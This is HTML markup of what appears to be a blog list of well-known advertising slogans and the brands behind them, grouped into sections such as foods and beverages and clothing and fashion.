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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Haier<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Let's Make Things Better<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Philips<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Hello Moto<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Motorola<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Makes quitting suck less<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Nicorette<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">It's everywhere you want to be<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">VISA<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Eat Mor Chikin!<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Chick-fil-A<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Maybe she's born with it. Maybe it's Maybelline<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Maybelline<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">We make money the old-fashioned way....We earn it<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Smith Barney<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Be all that you can be.<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">United States Army<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Sometimes you feel like a nut, sometimes you don't<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Peter Paul Almond Joy & Peter Paul Mounds<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Everything is easier on a Mac<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Apple Computer<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Welcome to the World Wide Wow<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">AOL (play on World Wide Web)<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Nothing Runs Like A Deere<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Deere & Company<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Live unböring<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Ikea<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">The ultimate driving machine<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">BMW<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Live in your world, play in ours<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Sony Playstation<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">When it absolutely, positively has to be there overnight<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Federal Express<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Get N or get out<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Nintendo 64<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">See what the future has in store<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Future Shop<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Easy as Dell<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Dell Computer<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Go further with Shell<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Shell Oil<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Once you pop, you can't stop<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Pringles<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Push Button Publishing<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Blogger.com<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">How do you spell relief?<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Rolaids<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">We Try Harder<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Avis Rental Cars<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Is it live, or is it Memorex?<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Memorex<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">The World's Online Market Place<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">eBay<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Wherever you go, our network follows<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Hutch Cellular India<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Consider IT Done<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Syntel<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Nothin' says lovin' like something from the oven<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Pillsbury<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">No battery is stronger longer<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Duracell Batteries<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">High Performance, Delivered<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Accenture<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Intel Inside<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Intel<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Making Tomorrow Better<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">ONGC (Oil & Natural Gas Commission, India)<o:p></o:p></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Let your fingers do the walking<o:p></o:p></span></div>
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<span style="background-color: #f9f9f9; color: black; font-family: sans-serif;">A diamond is forever.</span></div>
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<span style="background-color: #f9f9f9; text-align: start;"><span style="color: black; font-family: sans-serif;">Shave Time. Shave Money.</span></span></div>
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<span lang="EN-US" style="font-family: "verdana" , sans-serif; font-size: 9pt;">Yellow Pages<o:p></o:p></span></div>
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<span lang="EN-US" style="font-size: 12px;"><span style="font-family: "verdana" , sans-serif;">DeBeers</span></span></div>
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<span lang="EN-US" style="font-size: 12px;"><span style="font-family: "verdana" , sans-serif;">Dollar Shave Club</span></span></div>
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<b><span lang="EN-US" style="color: #610b0b; font-family: "georgia" , serif; font-size: 15pt; line-height: 23px;">Foods and Beverages<o:p></o:p></span></b></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">A-1 makes hamburgers taste like steakburgers.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ A-1 Steak Sauce<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Always Coca-Cola.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Coca Cola<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Australian for beer.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Foster's<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Australians wouldn't give a Castlemaine XXXX for anything else.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Australian Beer<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Coffee at its best.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Nescafe Gold Blend<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Coke is it?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Coca Cola<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Come alive! You're in the Pepsi generation.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Pepsi Cola<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Eaters, start your orders.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Chipotle<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Every Pepsi refreshes the world.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Pepsi Cola<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Fresh squeezed glaciers.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Adelma Mineral Water<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Good to the last drop.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Maxwell House Coffee<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Have it your way.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Burger King<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">How do you spell relief? R-O-L-A-I-D-S.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Rolaids<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">I am Canadian.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Molson Canadian Beer<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Is it in you?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Gatorade<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">I'm lovin' it.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ McDonald's<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">It just tastes better.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Burger King<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Keep walking.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Johnnie Walker<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Love it for life.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Dannon Yogurt<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">No rules, just right.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Outback Steakhouse<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Oh thank heaven for 7-Eleven.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ 7-Eleven<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">One thing leads to another.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Nescafe<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Probably the best lager in the world.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Carlsberg<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Something to smile about.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Quaker Oatmeal<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">That frosty mug sensation.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ A W Root Beer<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">That's right.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Wendy's<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Think outside the bun.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Taco Bell<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The king of beers.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Budweiser<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The king of good times.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ United Breweries<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">When you say Budweiser, you've said it all.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Budweiser<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">We're cooking now.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Denny's<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">You know when it's Bacardi.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Bacardi<o:p></o:p></span></div>
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<b><span lang="EN-US" style="color: #610b0b; font-family: "georgia" , serif; font-size: 15pt;">Clothing and Fashion<o:p></o:p></span></b></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">A diamond is forever.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ DeBeers<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Between love and madness lies Obsession.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Calvin Klein<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Because you're worth it.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ L'Oreal<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Every kiss begins with Kay.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Kay Jewelers<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">fcuk advertising.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ French Connection United Kingdom<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Hello boys.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Playtex Wonderbra<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">I am what I am.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Reebok<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Impossible is nothing.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Adidas<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">It takes a licking and keeps on ticking.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Timex<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Just do it.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Nike, Inc.<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Levis. Original jeans. Original people.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Levis<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Lifts and separates.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Playtex Cross-Your-Heart Bra<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Maybe she's born with it - maybe it's Maybelline.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Maybelline<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The mark of a man.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Old Spice<o:p></o:p></span></div>
